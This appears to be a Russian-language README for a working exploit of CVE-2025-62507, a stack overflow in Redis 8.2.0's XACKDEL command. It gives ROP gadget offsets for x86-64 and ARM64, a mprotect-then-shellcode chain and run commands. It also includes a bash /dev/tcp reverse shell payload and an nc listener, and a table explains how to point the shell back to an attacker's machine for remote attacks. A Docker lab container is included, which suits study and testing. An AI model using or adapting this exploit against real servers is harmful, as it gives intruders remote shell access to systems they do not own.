
Эксплойты для CVE-2025-62507, переполнение буфера стека в Redis 8.2.0. Предоставляет ROP-цепочки для x86-64 и ARM64 с генерацией шеллкода для обратных оболочек, включая поддержку отладки в GDB и уязвимую среду на основе Docker.
scripts/
├── exploit_x86.py # x86-64 ROP-эксплойт
├── exploit_arm64.py # ARM64 (AArch64) ROP-эксплойт
└── gdb_with_symbols.sh # Вспомогательный скрипт для отладки GDB
| Пункт | Описание |
|---|---|
| CVE | CVE-2025-62507 |
| Тип уязвимости | Переполнение буфера стека (Stack Buffer Overflow) |
| Затронутый компонент | Функция xackdelCommand в Redis 8.2.0 |
| Способ запуска | Команда XACKDEL с более чем 52 streamID |
| Метод эксплуатации | ROP-цепочка → mprotect для снятия защиты стека → шелл-код для обратного шелла |
| Зависимости | Python 3 (только стандартная библиотека, доп. установка не требуется) |
nc -lvnp 4444 для ожидания обратного шелла/proc/<PID>/maps целевого процесса (права root)socket, struct, time, sys)# Выполнить в корневой директории проекта
docker compose -f docker-compose-vulnerable.yml up -d
# Проверить, что контейнер запущен
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Получение адресов для x86-64
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Примечание: При каждом перезапуске контейнера адреса меняются (ASLR), необходимо получать заново.
# Откройте другой терминал на хост-машине
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (фиксированные адреса в Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| Параметр | Значение | Способ получения | Пример значения |
|---|---|---|---|
redis_base | Базовый адрес ELF-файла redis-server | Начальный адрес первого сегмента redis-server в /proc/PID/maps | 0x555555554000 |
libc_base | Базовый адрес libc.so.6 | Начальный адрес первого сегмента libc.so в /proc/PID/maps | 0x7ffff75b3000 |
stack_addr | Начальный адрес сегмента стека потока | Начальный адрес сегмента [stack] в /proc/PID/maps | 0x7ffffffde000 |
52 заполняющих ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
| Гаджет | Смещение | Описание |
|---|---|---|
pop rdi; ret | 0x82327 | Установка 1-го аргумента mprotect (addr) |
pop rsi; ret | 0x86416 | Установка 2-го аргумента mprotect (len) |
pop rdx; ret | 0xba1e2 | Установка 3-го аргумента mprotect (prot) |
call rsp | 0x9486d | Переход на шелл-код в стеке |
mprotect (libc) | 0x1019e0 | Снятие защиты стека (RWX) |
system (libc) | 0x4c490 | Выполнение команды обратного шелла |
Переменная reverse_shell_cmd определена в строке 149 скрипта, значение по умолчанию:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Метод изменения: отредактируйте exploit_x86.py, найдите строку reverse_shell_cmd и замените IP и порт:
| Сценарий | IP | Описание |
|---|---|---|
Docker host сеть (по умолчанию) | 127.0.0.1 | Контейнер и хост используют общий стек TCP, 127.0.0.1 соответствует хосту |
Docker bridge сеть | 172.17.0.1 | Шлюз моста по умолчанию, указывает на хост |
| Удаленная атака | <внешний IP атакующей машины> | Цель должна иметь маршрут к порту атакующей машины |
Изменение порта: замените 4444 в /dev/tcp/<IP>/4444 на фактический прослушиваемый порт.
stack_pageвычисляется динамически на основе параметраstack_addr:(stack_addr + 0x1000) & ~0xFFF, чтобы гарантировать, что окно mprotect покрывает область стека, где находится шелл-код. При нетипичной раскладке стека может потребоваться корректировка.
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| Параметр | Значение | Способ получения | Пример значения |
|---|---|---|---|
redis_base | Базовый адрес ELF-файла redis-server-8.2.0-arm64 | Начальный адрес первого сегмента redis-server в /proc/PID/maps | 0xaaaaaaaa0000 |
libc_base | Базовый адрес libc.so.6-arm64 | Начальный адрес первого сегмента libc.so в /proc/PID/maps | 0xfffff7630000 |
stack_addr | Значение SP на входе в xackdelCommand (из анализа GDB) | Наблюдение SP на входе в xackdelCommand через точку останова GDB | 0xfffffffff7e0 |
rev_host | (опционально) IP атакующей машины для обратного шелла | — | 192.168.1.1 |
rev_port | (опционально) Порт прослушивания обратного шелла | — | 4444 |
target | (опционально) IP целевого Redis | — | 192.168.1.129 |
Примечание для ARM64:
stack_addr— это значение SP на входе вxackdelCommand(не начальный адрес сегмента[stack]!).static_ids[0] = stack_addr - 0x310, сохранённое x30 функцииcall()находится вstack_addr + 8(то естьstatic_ids[49].seq).
49 заполняющих ID (1-1)
│
▼
ID#49-58 кадр завершения call() (10 ID) — перезапись сохранённых регистров и локальных переменных call()
│ #49: сохранённое x29 (пустышка) + x30 (G5)
│ #50: сохранённые x19/x20, #51: сохранённые x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: локальные переменные (установлены в 0)
│
▼ ret call() → SP = stack_addr + 0xa0
│
ID#59-61 Шаг 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Шаг 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Шаг 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Шаг 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Шаг 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Шаг 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Шаг 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
Критически важно: Эпилог
call()передretвосстанавливает x19-x28 из стека и считывает несколько локальных переменных. ID#49-58 должны содержать безопасные значения, иначе выполнение эпилога вызовет сбой. ROP-цепочка начинается с ID#59 (позиция SP послеretизcall()).